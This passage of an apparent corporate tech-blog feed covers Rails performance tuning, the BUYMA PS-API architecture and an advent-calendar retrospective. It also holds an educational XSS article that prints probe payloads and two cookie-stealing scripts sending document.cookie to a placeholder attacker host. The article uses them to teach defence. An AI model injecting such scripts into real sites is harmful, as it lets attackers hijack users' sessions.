今回の改善では includes を利用したEager Loadingを積極的に導入し、必要な関連データを事前にまとめて取得するように変更しました。 また、同じ情報を異なるコンポーネントで個別に取得している箇所も存在していたため、取得処理を集約し不要なクエリ発行を削減しました。

結果として、SQL発行数を大幅に削減でき、レスポンス改善に最も大きく貢献した施策となりました。

同一リクエストで同じ計算をしていた

調査を進める中で、同一リクエスト内で何度も同じ計算を行なっている箇所も見つかりました。これは本当にもったい無いですね、、、

単体で見ると小さな処理ですが、ページ全体では何度も呼び出されるため無視できないコストになります。 そこでメモ化を導入し、一度計算した結果を再利用するように変更しました。 また、一部の集計処理にはキャッシュを活用することで再計算そのものを削減しています。

大きな改善ではありませんが、細かな最適化の積み重ねが最終的なレスポンス改善につながりました。

お気に入り機能とキャッシュの見直し

今回の改善で特に興味深い問題が、お気に入り機能とキャッシュの関係でした。 商品カードはページ内で大量に表示されるため、本来であればカード単位でキャッシュしたいコンテンツです。商品名や価格、評価、パートナー情報などは頻繁には変化しないため、一度生成したHTMLを再利用できることで大きな効果が期待できます。

しかし、お気に入りの状態はユーザごとに異なる情報です。 同じ商品であってもあるユーザにとっては「お気に入り登録済」、別ユーザにとっては「未登録」という状態があります。

そのため商品カード全体をキャッシュしてしまうと、

  • ユーザごとに異なるキャッシュを生成する必要がある
  • キャッシュキーが複雑になる
  • キャッシュヒット率が低下する という問題が発生します。

実際に、改善前はこの問題を回避するために、お気に入りボタンを除いた「パートナー・評価」「商品情報」の2つの領域に分けて個別にキャッシュしていました。

この構成でもキャッシュがない状態より圧倒的に効率的ですが、キャッシュの管理が複雑であったり、テンプレートも読みづらい実装になっていました。

そこで今回の修正では、商品カードとお気に入りの状態を分離し、商品カード全体を共通キャッシュできる構成へ変更しました。 商品カード本体は全ユーザ共通のHTMLとしてキャッシュし、商品IDごとのお気に入りの状態は別で取得する形です。 これにより商品カード自体は1つのキャッシュとして扱えるようになり、キャッシュ構成をシンプルにしつつ、高いキャッシュ効率を実現しています。

結果としてレスポンス速度だけでなく、今後の保守性や機能追加のしやすさという点でも大きな効果を得ることができました。

7. 改善結果

改善前ではページ表示までに最大3秒程度かかる状態でした。 改善後は1秒に満たない時間で表示できるケースが大半となり、体感速度も大きく向上しました。

今回の改善では特定の1箇所を直したのではなく、

  • SQLの最適化
  • 重複処理の削減
  • キャッシュの見直し といった複数の小さな改善を積み重ねたことが、この結果につながりました。

8. まとめ

当サイトの主要ページである、エリアページ・スポットページの速度改善についてご紹介しました。

パフォーマンス改善というと大規模なアーキテクチャ変更をイメージするかと思います。私自身はそのような印象を持っていました。

しかし実際には特別な技術ではなく、N+1の解消やメモ化、キャッシュ設計の見直しといった、比較的小さな改善の積み重ねでも、十分な効果が出せると実感しました。

Railsには優秀なキャッシュ機構や様々な最適化手法がありますが、まずは基本的なSQLの見直しが重要です。 普段のレビューでもN+1の有無や効率的なデータの取得については確認していますが、改めて見直してみると、どうしても漏れは出てくるものだと感じました。機能追加を重ねてきたページほど、定期的にパフォーマンスの棚卸しは必要だと思います。

今回で大きくレスポンスを改善できましたが、まだ課題は残っています。 特にレビュー集計処理にはサマリーテーブル導入の余地がありますし、ページビューカウントの非同期化など、更なる高速化が可能です。

今後もユーザ体験向上のため、継続的な改善を続けていきます。

XSS(クロスサイトスクリプティング)とは?脆弱性の診断方法と対策

こんにちは。 エニグモのWebアプリケーションエンジニアのレミーです!

Webセキュリティにおいて最も頻繁に発生する脅威の一つがXSS(クロスサイトスクリプティング)です。ユーザーに大きな被害をもたらし、企業の信頼を失墜させるこの脆弱性について、その仕組みから対策まで解説します。

XSS(クロスサイトスクリプティング)とは?

XSSとは、Webアプリケーションの脆弱性を突き、悪意のあるスクリプト(主にJavaScript)を攻撃者が他のユーザーのブラウザ上で実行させるサイバー攻撃です。

攻撃が成功すると、以下のような深刻な被害が発生する可能性があります。

  • セッションIDやクッキー、個人情報の取得
  • ブラウザやWebサイトの不正操作
  • 悪意のあるサイト(フィッシングサイトなど)への強制リダイレクト

XSSはWebアプリケーションのセキュリティにおいて最も危険な脆弱性の一つとして知られており、ユーザーのアイデンティティ(認証情報)を盗み出すことが主な目的とされています。

XSSの仕組み

XSSは基本的にクライアントサイド(ユーザーのブラウザ上)で実行されます。 HTMLやJavaScriptなどの言語で書かれた悪意のあるコードが、ユーザーの入力フォームなどを経由してWebサイトに送り込まれます。

仕組みとしてはSQLインジェクションと似ており、クライアントからサーバーへのリクエストに不正なコードを紛れ込ませることで実行されます。この脆弱性は、Webサイト側がユーザーからの入力データを適切に検証・サニタイズしていないこと、または適切な出力エンコーディングを行っていないことによって発生します。

例:脆弱なサイトの検索ページが、検索キーワードをそのまま表示する場合。

ユーザーが「猫」と検索したとき:

<p>「猫」の検索結果:3件</p>

もし攻撃者が <script>alert('攻撃成功!')</script> と検索したら?

<p><script>alert('攻撃成功!')</script>」の検索結果:0件</p>

ブラウザは攻撃者のコードがそのまま動いてしまいます。

代表的なXSSの種類

1. 反映型XSS(Reflected XSS)

URLのパラメータやフォームの入力値に仕込まれた悪意のあるスクリプトが、サーバーからのレスポンス画面にそのまま反映されて実行されるタイプです。攻撃者は、スクリプトを仕込んだURLをメールやSNSで標的に踏ませることで攻撃を成立させます。一般的に、特定のユーザーを狙った攻撃に多く使われます。

例:以下のURL

https://example.com/search?q=<script>fetch('https://攻撃者.com?cookie='+document.cookie)</script>

気づかない一瞬の間に、ログインクッキーが攻撃者に送信され、攻撃者はユーザーになりすましてログインできてしまいます。

2. 蓄積型XSS(Persistent XSS)

攻撃者が掲示板やプロフィールの入力欄などを通じて、悪意のあるスクリプトをWebサイトのデータベースに保存させるタイプです。その後、他のユーザーがそのページを閲覧するたびにスクリプトが自動的に実行されます。一度設置されると、不特定多数のユーザーが同時に被害に遭うため非常に危険です。

例:SNSサイトで、攻撃者が自分のプロフィールの「自己紹介欄」に以下を入力しました:

<script>
  // このプロフィールを見た全員のクッキーを盗む
  new Image().src = 'https://攻撃者.com/steal?c=' + document.cookie;
</script>

このプロフィールは「サニタイズされず」にデータベースに保存されます。それから一晩で、このプロフィールを訪問した全てのユーザー全員のクッキーが攻撃者の手に渡りました——ユーザーは「プロフィールを見ただけ」なのに。これが蓄積型XSSの恐ろしさです。

XSS脆弱性の診断やテスト方法

自社のWebサイトにXSSの脆弱性がないかを確認するには、入力フォームなどにテスト用のスクリプトを入力し、それがブラウザ上で実行されてしまうかどうかを検証します。

例:

<!-- 基本テスト -->
<script>alert('XSS')</script>

<!-- imgタグの onerror を使う方法 -->
<img src=x onerror=alert('XSS')>

<!-- SVGを使う方法 -->
<svg onload=alert('XSS')>

ただし、最も確実なのはソースコードのコードレビューや、専門の脆弱性診断ツールの導入、またはプロのセキュリティエンジニアによる診断を受けることです。

XSSの防ぎ方・対策

開発者向けの対策

  • サニタイズと入力値のバリデーション: 入力されたデータが適切な形式であるかチェックし、不正な文字(<> など)を排除、または無害化します。
  • 出力のHTMLエンコーディング: ユーザーが入力した文字列をHTMLに表示する際、特別な意味を持つ文字(例: < は &lt;、> は &gt;)をエスケープ処理します。これが最も根本的な対策です。
  • WAF(Web Application Firewall)の導入: 通信を監視し、XSS特有のパターンを持つリクエストを遮断します。

一般ユーザー向けの対策

  • 不審なURLをクリックしない: メールやSNSに貼られている怪しいリンク、心当たりのないURLには触れないようにしましょう。
  • 個人情報の入力に注意する: 信頼性の低いWebサイトで、ログイン情報やクレジットカード情報を安易に入力しないよう徹底してください。
  • ブラウザやOSを最新に保つ: 使用しているブラウザのセキュリティアップデートをこまめに行い、常に最新のバージョンを利用します。
  • セキュリティソフトの導入: マルウェアや悪意のあるスクリプトの実行を検知・ブロックするウイルス対策ソフトを導入しましょう。

エニグモでのセキュリティへの取り組み

弊社が運営するBUYMAでは、ユーザーの個人情報や決済情報を扱うため、セキュリティ対策は開発フローの中心に位置づけられています。

具体的には、以下のような取り組みを行っています。

  • コードレビューでのセキュリティチェックは、全てのPull Requestにおいて、XSSやSQLインジェクションなどの脆弱性があるかどうか、きちんとレビューしています。
  • フレームワークのデフォルト機能の活用では、Ruby on Railsの html_saferaw などの使用は最小限にし、使う場合は必ずレビューで確認しています。
  • 静的解析ツールの導入は、Brakemanなどのツールで、CI上で自動的に脆弱性を検知する仕組みを整えています。

まとめ

XSSは非常に古典的でありながら、現在でも多くのWebサイトで脅威となっているセキュリティリスクです。Webサイトを守るためには、開発者が入力・出力の処理を正しく実装することが不可欠です。また、ユーザー側も日頃からURLの確認やブラウザの更新など、基本的なセキュリティ意識を持つことが大切です。

スケールするための設計:BUYMA Personal Shopper API のイベント駆動アーキテクチャ

BUYMAのPersonal Shopper API(PS-API)が、gRPC、SQS、Webhook、非同期処理を活用して、マイクロサービスとモノリスをつなぎながらスケールする仕組みを紹介します。

こんにちは、エニグモのフェルナンドです。
SELLチームに所属し、出品者向け機能の開発を担当しています。

今回は、私たちのチームで運用している「PS-API」についてご紹介します。
日々増え続けるリクエストをどのように処理しているのか、そのアーキテクチャの裏側についてお話ししたいと思います。

👉 English version is also available below.

BUYMAでは、パーソナルショッパー(出品者)が商品を出品する方法がいくつかあります。 マイページから直接商品を登録する方法もあれば、CSVインポートを使って一括登録する方法もあります。 さらに、自社システムを運用している大規模なパートナーや事業者向けには、Personal Shopper API(通称:PS-API)を利用した連携手段も提供しています。 運用要件によっては、より深いカスタム連携を行うケースもあります。

これらの機能を利用する出品者が増えるにつれて、PS関連システムの保守・改善は、楽しくもあり、同時にとてもチャレンジングなものになっていきました。

出品方法の概要:My Page、CSVインポート、PS-API、カスタム連携

今回は、PS-APIについて紹介します。PS-APIがどのように動いているのか、なぜ非同期APIとして設計したのか、そしてマイクロサービスと大規模なモノリスをつなぐシステムを運用する中で学んだリアルな教訓について共有します。

PS-APIの目的:BUYMAのコアプラットフォームへの連携レイヤー

BUYMAはマーケットプレイスであり、商品登録は出品者にとって重要な日常業務のひとつです。 大量の商品を管理している出品者にとって、1件ずつ手動で商品を登録するのはとても大きな負担になります。 CSVインポートでその負担を減らすことができますが、在庫・価格・商品情報を自社システムで管理しているパートナーにとっては、API連携が自然な選択肢になります。

そこで登場するのがPS-APIです。

PS-APIでは、出品者が以下のような操作を行えます。

  • 商品の登録・更新
  • 在庫やバリエーションの管理
  • 注文情報の取得
  • 発送依頼の処理

PS-APIは、出品者側のシステムとBUYMAのコアプラットフォームをつなぐ、強固な連携レイヤーとして機能しています。

PS-APIは、出品者システムとBUYMAのコアプラットフォームをつなぐ連携レイヤー

課題:マイクロサービスと既存モノリスの連携

BUYMAの主要な業務処理の多くは、現在もメイン環境、つまり巨大なモノリシックなシステム上で動いています。 一方で、PS-APIはモダンなマイクロサービスとして実装されています。

私は以前にサーバーレス開発の経験はありましたが、大規模なマイクロサービスアーキテクチャに本格的に関わるのはこれが初めてでした。 キュー、ワーカー、リトライ、サービス間通信、Webhook配信といった分散システムの世界に入っていくのは、本当に、とても勉強になりました。

PS-APIとBUYMAメインシステムのアーキテクチャ概要

※ アーキテクチャは、おおまかに言うとこのような構成になっています。

ここで重要な設計思想は次の点です。

  • PS-APIは最終的な処理先ではない
  • 外部システムとBUYMAのモノリスをつなぐ「オーケストレーションレイヤー」である

なぜ非同期処理なのか

PS-APIにおける最大の設計判断のひとつが、多くの処理を非同期にしたことです。 出品者が商品登録リクエストを送信した場合、システムはすべての処理を同期的に実行して、最終結果を即時で返すわけではありません。

代わりに、次のような流れをたどります。

  1. リクエストを受け付ける
  2. 処理用のキューに積む(即時レスポンス)
  3. BUYMA側で後続処理を行う(ワーカーによる非同期処理)
  4. 最終結果をWebhookで返す

この方式には、決定的なメリットがあります。

1. トラフィックスパイクの吸収

出品者は、ときどき大量のリクエストを一斉に送信します。 ここで言う「大量」とは、監視ダッシュボードが悲鳴を上げるレベルの量です。

非同期キューを使うことで、急激なトラフィック増加をそのままコアシステムに流し込むのではなく、一度バッファとして受け止めることができます。 リクエストは順番を待ち、システムが耐えられる制御されたペースで処理されます。 最終的な商品登録処理がBUYMAのメインシステムに依存しているため、このバッファリング層は非常に重要な役割を担っています。

非同期キューにより、外部からの大量リクエストを一度バッファリングする

2. 障害時のグレースフル・デグラデーション(確実なリカバリー)

下流システムが一時的に利用できない場合でも、出品者が同じリクエストを手動で再送する必要はありません。 リクエストは安全にキューに残り、下流システムが復旧したあとに自動で処理を再開できます。

ユーザーに「成功するまで何度もリトライしてください」とお願いするより、はるかに健全です。 アプリへの信頼を完全に失ってしまう前、システム側で吸収できることは吸収すべきです。

3. コアプラットフォームの保護

商品登録や注文関連の主要な処理は、BUYMAのモノリシックなメイン環境で実行されています。 そのため、このコアシステムを過負荷から慎重に保護する必要があります。

PS-APIが外部トラフィックを受け止め、モノリス側へリクエストを渡すペース(スループット)を制御します。 これは、マイクロサービスの柔軟性と、モノリスの安定性を両立するための設計です。

gRPCとSQS:通信方式の適材適所

PS-APIでは、すべての通信を同じ方法で扱っているわけではありません。 処理の性質、つまり即時性が必要か、耐久性が必要かに応じて、gRPCとAmazon SQSを明確に使い分けています。

gRPC

gRPCは主に、即時のレスポンスが必要な内部サービス間通信で利用しています。 これは、PS-APIが現在の処理を続行する前に、信頼できる内部レスポンスを必要とするケースです。

たとえば、以下のような用途で使っています。

  • パートナーシステムとLive PS-API間の通信
  • パートナーシステムとSandbox PS-API間の通信
  • ブランド情報やカテゴリ情報などのマスターデータ取得

SQS

一方で、より重い業務処理にはSQSベースの非同期処理を利用しています。 たとえば、BUYMAのメインシステムと連携する以下のような処理です。

  • 商品登録・更新
  • 注文の発送依頼処理

なぜこの設計がうまく機能するのか

gRPCとSQSを組み合わせることで、それぞれの通信方式を多様な場面で使うことができます。 gRPCは、高速な内部リクエスト・レスポンス通信に、SQSは、耐久性のある非同期業務処理に使います。

特徴 gRPC SQS(非同期キュー)
主な用途 内部サービス間の直接通信 重い業務処理、モノリス連携
処理モデル 同期的(即時レスポンス待ち) 非同期的(Event-Driven)
メリット 高速、型安全(Protobuf)、明確な契約 耐久性、リトライ容易、スパイク吸収
具体例 マスターデータ(ブランド/カテゴリ)取得 商品の登録・更新、発送依頼処理

SQSとWebhookによる非同期ループの完成

重い処理はSQSを利用します。リクエストを受け付けると、ペイロードを保存し、その後の業務処理をワーカーが非同期で進めます。

重要なのは、SQSは「処理の完了イベント」にも利用されている点です。 商品登録が完了すると、その結果がキュー経由でPS-APIに返され、そこから出品者へWebhookレスポンスが送信されます。 Webhookは単なるAPIの即時レスポンスではなく、非同期処理の最終通知なのです。

gRPC、SQS、WebhookによるPS-APIの通信フロー

この区別には、いくつかのメリットがあります。

  • BUYMAのメインシステムを急激なトラフィック増加から保護できる
    多くの出品者が同時に商品更新リクエストを送った場合でも、リクエストをキューに積み、段階的に処理できます。
  • 信頼性が向上する
    下流システムの一部が一時的に利用できない場合でも、リクエストが消えてしまうことはなく、出品者がすべてを手動で再試行する必要もありません。
  • スケールしやすい基盤になる
    APIリクエストの受付、キュー処理、Webhook配信をそれぞれ個別に改善できます。

本当の課題:スケール

PS-APIは当初、小規模なユースケースを想定して設計されていたため、現在のトラフィック規模にはそぐわなくなっています。

サービスの普及に伴い、APIを利用する出品者数とリクエスト数が急増しました。このスケールアップに伴い、スケーラビリティや運用面でいくつかの課題が表面化してきました。

  • レートリミット
  • キューのボトルネック
  • 処理状況の可視性
  • 「リクエストは成功したのに、商品はどこにありますか?」という問い合わせ

この最後の質問に対する答えは、時々こうなります。

“技術的には……まだキューのどこかにあります。”

または、

“Webhookはエラーメッセージ付きで送信されました。”

非同期システムの運用は、設計するよりもずっと面白くなってくるのがこのあたりです。 APIを作ること自体ももちろん大変です。 しかし、リクエストが今どの処理段階にあるのかを、関係者全員が理解できるようにすることは、また別の難しさがあります。 そして多くの場合、後者の方が難しいです。

非同期システムに潜む複雑さ

外から見ると、APIリクエストはとてもシンプルに見えます。

POST /api/v1/products.json

しかし内部では、実際には以下のような複雑なパイプラインが走っています。

API
→ バリデーション
→ データベース
→ キュー
→ ワーカー
→ ストレージ
→ 画像ダウンロード
→ 後続処理(または「下流プロセッサ」)
→ 完了イベント
→ キャッシュ無効化
→ Webhook配信

APIは、単なるエンドポイントというより、空港の手荷物管理システムのようになっていきます。
システムは信頼されている。でも、リクエストが今どこにあるのかを完全に把握するのは難しい――そんな世界です。

オンプレミスからAWSへの移行

出品処理におけるデータベースのトランザクション速度を改善するうえで、大きな転機となったのがインフラのAWS移行とDBアップグレードです。AWSのリソースを活用することで、DB接続の安定性や処理性能が向上し、インポート速度も改善されました。

もちろん、AWSへ移行したりDBをアップグレードしたりしたからといって、すべてのボトルネックが簡単に消えるわけではありません。それでも、DB接続の安定性やトランザクション処理速度の改善は、非同期処理全体のパフォーマンスに大きく影響します。

今後も改善していくこと:本当の「スケール」に向けて

PS-APIはもともと少数のユーザーを想定して作られていましたが、その想定も今は昔です。 現在も、出品者が安心して運用を任せられる強固な基盤を目指し、以下の領域を継続的に改善しています。

  • より良いレートリミット戦略の実装
  • リクエスト状態の可視性向上
  • 画像ダウンロード処理の高速化とワーカーのオートスケーリング
  • 技術的な専門知識がない出品者でも、スムーズに連携を開始できるようPS-APIドキュメントを拡充
  • モノリスとマイクロサービスをまたぐ運用の改善

私たちの目標は、単に大量のリクエストを「受け付ける」ことではありません。 数千件規模のスパイクにも安定して対応し、出品者のビジネスを裏から確実に支える、真に信頼できるAPIシステムへ進化させ続けることです。

注記: 本記事内の画像は、内容をわかりやすく表現するためにAIで生成したイメージ画像です。


Building for Scale: Inside the Event-Driven Architecture of the BUYMA Personal Shopper API

Good day, I’m Fernand from Enigmo.
I’m part of the SELL team, where I work on developing features that support sellers.

This time, I’d like to talk about “PS-API,” a system operated by our team. I’ll share some insights into the architecture behind it and how we handle the continuously growing number of requests every day.

At BUYMA, personal shoppers have several ways to list products on the platform. Some sellers manage listings directly from My Page. Others use CSV import for bulk operations. For larger partners and businesses that operate their own systems, we also provide integration options through the Personal Shopper API, or PS-API. In some cases, we even support deeper custom integrations depending on the seller’s operational needs.

As more sellers began using these features, maintaining and improving the PS systems became both fun and challenging.

Listing options: My Page, CSV import, PS-API, and custom integrations

This time, I would like to introduce PS-API: how it works, why we designed it as an asynchronous API, and what we learned from operating a system that connects a microservice with a large monolithic platform.

Purpose of PS-API

BUYMA is a marketplace where product registration is one of the most important daily operations for sellers. For sellers managing large catalogs, manually listing products one by one quickly becomes painful. CSV import helps, but for partners that already manage inventory, pricing, and stock through their own systems, API integration becomes the natural next step.

That is where PS-API comes in. It allows sellers to:

  • create and update products
  • manage stock and variants
  • receive order information
  • handle shipment requests

PS-API acts as an integration layer between personal shoppers’ systems and BUYMA’s core platform.

PS-API connects seller systems with BUYMA’s core platform

The Challenge: When a Microservice Meets a Monolith

Most of BUYMA’s core business processes still run in the main environment, which is a monolithic system. PS-API, however, was implemented as a microservice.

Although I had experience with serverless development before, this was my first time working on a microservice architecture. Moving into a world of queues, workers, retries, internal service communication, and webhook delivery was very educational. Very educational...

※ The architecture looks something like this.

High-level architecture of PS-API and BUYMA’s main system

The key point here is:

  • PS-API is not the final destination.
  • It is the orchestration layer between external personal shopper systems and BUYMA’s platform.

Why Asynchronous Processing

One of the biggest design decisions in PS-API was to make many operations asynchronous. When a seller sends a product registration request, the system does not process everything synchronously and immediately return the final result.

Instead:

  1. The request is accepted.
  2. It is queued for processing.
  3. BUYMA processes it downstream.
  4. The final result is sent back via webhook.

This approach gives us several important advantages.

1. Handling Traffic Spikes

Sellers sometimes send bulk requests. And by “bulk,” I mean enough requests to make the monitoring dashboard emotionally unavailable.

With asynchronous queues, sudden traffic spikes can be absorbed without immediately overwhelming the core system. Requests can wait in the queue and be processed at a controlled pace. This is especially important because the final product registration still depends on BUYMA’s main system.

synchronous queues buffer sudden request spikes before they reach the core platform

2. Better Failure Recovery

If a downstream system is temporarily unavailable, sellers do not need to resend the same request manually. The request can remain in the queue, and processing can resume once the downstream system recovers.

This is much better than asking users to keep retrying until they lose faith in the service entirely.

3. Protecting the Core Platform

Because the main product registration and order processes still happen inside BUYMA’s monolithic environment, we need to protect that system carefully.

PS-API absorbs external traffic and controls how requests are passed to the core platform. This allows the monolith to process requests at a safer and more predictable pace.

Microservice optimism meets monolith realism.

gRPC and SQS: Choosing the Right Communication Style

In PS-API, not all communication is handled in the same way. Some processes require quick, direct communication between internal services. Other processes need durable asynchronous execution because they may take longer, depend on the BUYMA core platform, or require retries.

For that reason, we use both gRPC and SQS, depending on the characteristics of each process.

gRPC

We mainly use gRPC for internal service-to-service communication where an immediate response is required. These are cases where PS-API needs a reliable internal response before continuing the current process.

  • BUYMA Partners System ↔ Live PS-API communication
  • BUYMA Partners System ↔ Sandbox PS-API communication
  • Retrieving master data, such as brand data and category data

Using gRPC gives us several advantages:

  • fast internal communication
  • clear service contracts through protobuf definitions
  • better type safety between services
  • predictable request-response behavior

SQS

For heavier business operations, we use SQS-based asynchronous processing. This includes communication with BUYMA’s main system for operations such as:

  • product listing and update
  • order shipment request processing

These operations eventually affect BUYMA’s core platform, where product and order data are actually processed. Instead of forcing the original API request to wait until all downstream processing is complete, PS-API accepts the request, stores the payload, and lets the business process continue asynchronously.

SQS is also used for process completion events. For example, after product listing or product update processing is completed, the completion result is sent back through the queue. PS-API then imports the result and sends the appropriate webhook response to the seller system.

This is an important point: webhook delivery is not simply a response to the original API request. It is the final notification after asynchronous processing has completed.

gRPC, SQS, and Webhook complete the asynchronous processing loop

Why This Design Works Well

Using gRPC and SQS together allows each communication pattern to be used where it fits best. gRPC is used for fast internal request-response communication. SQS is used for durable asynchronous business processing.

This separation gives us several benefits.

  • It protects BUYMA’s main system from sudden traffic spikes.
    If many sellers send product update requests at the same time, those requests can be queued and processed gradually.
  • It improves reliability.
    If part of the downstream system is temporarily unavailable, requests do not simply disappear, and sellers do not need to retry everything manually.
  • It gives us a better foundation for scaling.
    API request handling, queue processing, and webhook delivery can each be improved separately.

This combination is one of the key reasons PS-API can operate as a bridge between external seller systems and BUYMA’s existing core platform.

The Real Challenge: Scale

Originally, PS-API was intended for a relatively small number of users.
That assumption aged beautifully.

As adoption increased, both the number of sellers and the number of requests grew significantly. With that growth came several familiar challenges:

  • rate limits
  • queue bottlenecks
  • processing visibility issues
  • inquiries like “The request succeeded, but where is my product?”

The answer to that last question is sometimes:

"Technically… somewhere in the queue."

Or:

"The webhook was already sent, along with an error message."

This is where operating asynchronous systems becomes much more interesting than designing them. Building the API is one thing. Helping everyone understand the flow of request is another. And usually, that is the harder part.

The Hidden Complexity of Async Systems

From the outside, an API request may look simple:

POST /api/v1/products.json

But internally, the flow may look more like this:

API
→ validation
→ database
→ queue
→ worker
→ storage
→ image download
→ downstream processor
→ completion event
→ cache invalidation
→ webhook delivery

At some point, API starts looking less like an endpoint and more like airport baggage handling. Everyone trusts the system. No one is entirely sure where the suitcase is.

From On-Premise to AWS

One major improvement came from moving our infrastructure from on-premise servers to AWS, along with upgrading the database. This improved the transaction speed of import-related database operations.

Of course, moving to AWS and upgrading the database did not magically remove every bottleneck. Software remains committed to teaching humility. However, it gave us a much stronger foundation, especially for asynchronous processing. For systems that depend heavily on queues, workers, and scalable processing capacity, infrastructure flexibility matters a lot.

What We Are Still Improving

Even after these improvements, scalability remains an ongoing challenge. The API layer can scale relatively well, but many core processes still depend on the main environment, where scaling is naturally more difficult.

We are continuing to improve areas such as:

  • better rate-limit strategies
  • faster image download processing
  • autoscaling for workers
  • better visibility into request status
  • smoother operations across monolith and microservice boundaries
  • expanded PS-API documentation so that even sellers without technical expertise can smoothly start integrating with the platform

The goal is not simply to accept the request. The real goal is to make PS-API a system sellers can rely on and one that can handle thousands of requests.

Note: The images in this article were created using AI-generated visuals and are intended for conceptual illustration.

hrmos.co

エニグモのアドベントカレンダー2025の振り返りと運営の工夫

こんにちは。
エニグモ採用担当の戸井です。

普段は中途採用や採用広報を担当していますが、主にエンジニア採用を担当している関係で、エンジニア組織の「Developer Relations(DevRel)チーム」にも所属しています。
DevRelチームはエンジニア組織のアウトプット促進や勉強会の運営やイベントサポートなどを行っており、その一環としてアドベントカレンダーの運営にも携わっています。

この記事では昨年実施したアドベントカレンダー全体の振り返りと、運営の取り組みについて紹介します。

アドベントカレンダーとは?

元々は、クリスマスまでの日数をカウントダウンするために使われるカレンダーで、12月1日からはじまり、25個ある「窓」を毎日1つずつ開けて中に入っている小さなお菓子やプレゼントを楽しむものです。
その慣習から、12月1日から25日まで毎日ブログ記事を公開するイベントとして、特にWeb業界やエンジニア界隈で広く親しまれています。

2025年のエニグモアドベントカレンダーはこちらです。
https://qiita.com/advent-calendar/2025/enigmo

2025年アドベントカレンダー全体の振り返り

エニグモのアドベントカレンダーは2018年よりスタートし、2025年で開催8回目となりました。
当初はエンジニア・テック系職種を中心とした取り組みでしたが、2022年からは全社イベントとして、職種問わず誰でも参加できる形で運営しています。

参加メンバーの傾向

2025年も、エンジニアを中心にさまざまな職種のメンバーが参加しました。

(内訳)
【エンジニア職種】
サーバーサイドエンジニア、インフラエンジニア、データエンジニア、検索エンジニア、データサイエンティストなど
【ビジネス職種】
マーケティング、データアナリスト、UI/UXデザイナー、管理部門など

技術系職種を中心としつつも、データ・デザイン・コーポレートなど、複数の部門から参加があり、職種横断でのアウトプットの場となりました。

また、参加回数の観点では、初めて参加するメンバーが全体の約4割を占めていました。
一方で、複数回参加しているメンバーや皆勤賞のメンバーもおり、継続的にアウトプットの場として活用されている点も特徴です。
アドベントカレンダーを一年間の振り返りやナレッジの棚卸しの機会として活用しているメンバーも多いです。

記事のテーマ・カテゴリ

記事のカテゴリーを以下の4つに分類し、集計を行いました。

・技術発信
・プロジェクト紹介
・組織・カルチャー
・入社エントリ・自己紹介
2025年は、技術発信の記事が全体の多くを占めており、エンジニアリングに関する知見の共有が中心となりました。
他にも組織やカルチャー、プロジェクト紹介、入社エントリ・自己紹介といったテーマの記事も投稿されています。

技術に限らず、個人の経験や組織の取り組みなど、多様な切り口での発信が行われたことも特徴です。 

「Advent Calendar Award」受賞記事

「Advent Calendar Award」はエニグモのアドベントカレンダーをさらに盛り上げるために実施しており、特に多く読まれた記事を表彰しています。
2025年の受賞記事は以下の通りです。

6位 アジャイルは会社ごとに別物。でも、あるあるは共通だった(BUYMA TRAVEL Webエンジニア)
5位:ローコードAIツールDifyをエンジニアが使ったら?コードブロックでハマった7つの落とし穴(データサイエンティスト)
4位:エニグモのオンボーディング:他部署体験プログラムを紹介します!(採用・採用広報担当)
3位:人事からデータアナリストへ。社内公募で兼務し始めて3ヶ月の振り返り(人事兼データアナリスト)
2位:AWSにおけるコスト削減の考え方(インフラエンジニア)
1位:Ruby on Rails アプリのパフォーマンス最適化10選(バックエンドエンジニア)

運営の取り組み

アドベントカレンダーの運営では、キックオフの実施タイミングや日々のリマインド、ガイドライン整備、執筆・レビューの進め方など、運営に関わる各プロセスを毎年アップデートしています。

また、当社のメイン事業である海外ファッションEC「BUYMA」では、年末に向けた大型セールや需要の高まりにより、12月は特にサイトへのアクセスや取引が増える時期です。
それに伴い、エンジニア側でも重要なリリースや対応が重なるタイミングとなります。

そのため、アドベントカレンダーも参加メンバー・運営側の双方にとって、無理なく継続できるよう運営を設計しています。

ここでは、こうした背景を踏まえつつ、今年特に注力した取り組みについて紹介します。

ここ2〜3年で入社したメンバーの中には、アドベントカレンダーへの参加経験がない方や、テックブログ執筆が初めての方も一定数いました。
そのため、「初めてでも参加しやすい状態をつくること」を意識しました。

具体的には、エニグモで初めてテックブログを書く方向けに、記事のテーマの考え方や執筆の進め方を解説するレクチャー会を実施しました。

レクチャー会では、以下のような内容を扱いました。

  • 記事を書く目的の共有
  • テーマの考え方
  • 記事の構成や書き方

レクチャー会の資料
テーマの考え方を説明した後は、実際に記事を書き進める際の流れについても、画面共有でデモンストレーションを行いました。
テーマ決定から情報整理、構成作成、リード文やタイトル作成までの流れをステップごとに分解し、「どのように記事を組み立てていくのか」をイメージできるようにしています。

また、ワークショップ形式を取り入れ、参加者がチームに分かれてテーマの検討や構成作成に取り組みながら、相談やディスカッションを行う時間を設けました。

ワークの中では、
* どのようなテーマを選んだか
* テーマ設定で悩んだポイント
* 書こうとしている内容や構成
* 書く中で詰まりそうな点
などを共有しながら進めてもらいました。

最後には全体でテーマや悩みを共有する時間も設け、他のメンバーの視点に触れることで、「自分の経験も記事になる」という実感につながるよう設計しました。

また、全体向けのレクチャーに加え、特に入社間もないメンバーに対しては個別に声がけを行い、テーマ設定や執筆の進め方についてフォローを行いました。
ショートミーティングを実施し、これまでの業務や担当プロジェクトを振り返りながら、その中にある技術的な工夫や、入社直後だからこそ気づけた改善点などをテーマとして言語化するサポートを行いました。

運営を通じた振り返り

今回は、例年の運営フローをベースにしながらも、初めて参加するメンバーへのサポートを強化したことが特徴でした。

その結果、新たに参加したメンバーが増えたことは、運営面でも大きな収穫だったと考えています。

レクチャー会に参加したものの、今回のアドベントカレンダーには参加できなかったメンバーも、「自分の経験でも記事を書けそう」「いつか書いてみたい」と感じるきっかけになっていれば、次回以降の参加につながる土台にはなっていると考えています。

アドベントカレンダーは年に一度の期間限定イベントではありますが、こうした毎年の積み重ねが、継続的なアウトプット文化を広げる大きなきっかけになると感じました。

また、今回の運用を通じて、いくつか改善したいポイントもあります。

まず、公開前のレビューが一部のメンバーに集中する場面がありました。
今後は、レビュー観点を整理したテンプレートの整備や、AIを活用したレビュー支援なども検討し、よりスムーズに進められる体制を整えていきたいと考えています。

また、アドベントカレンダーに限らず、継続的に発信しやすい状態をつくることも重要だと感じています。
そのため現在は、日常的なアウトプットを促進する仕組みづくりにも取り組んでいます。

さいごに

2025年もエニグモのアドベントカレンダーは、無事25日完走することができました。
従来の運営フローをベースにしつつ、初めて執筆するメンバーへのサポートを強化したことで、新しい参加の広がりにもつながりました。

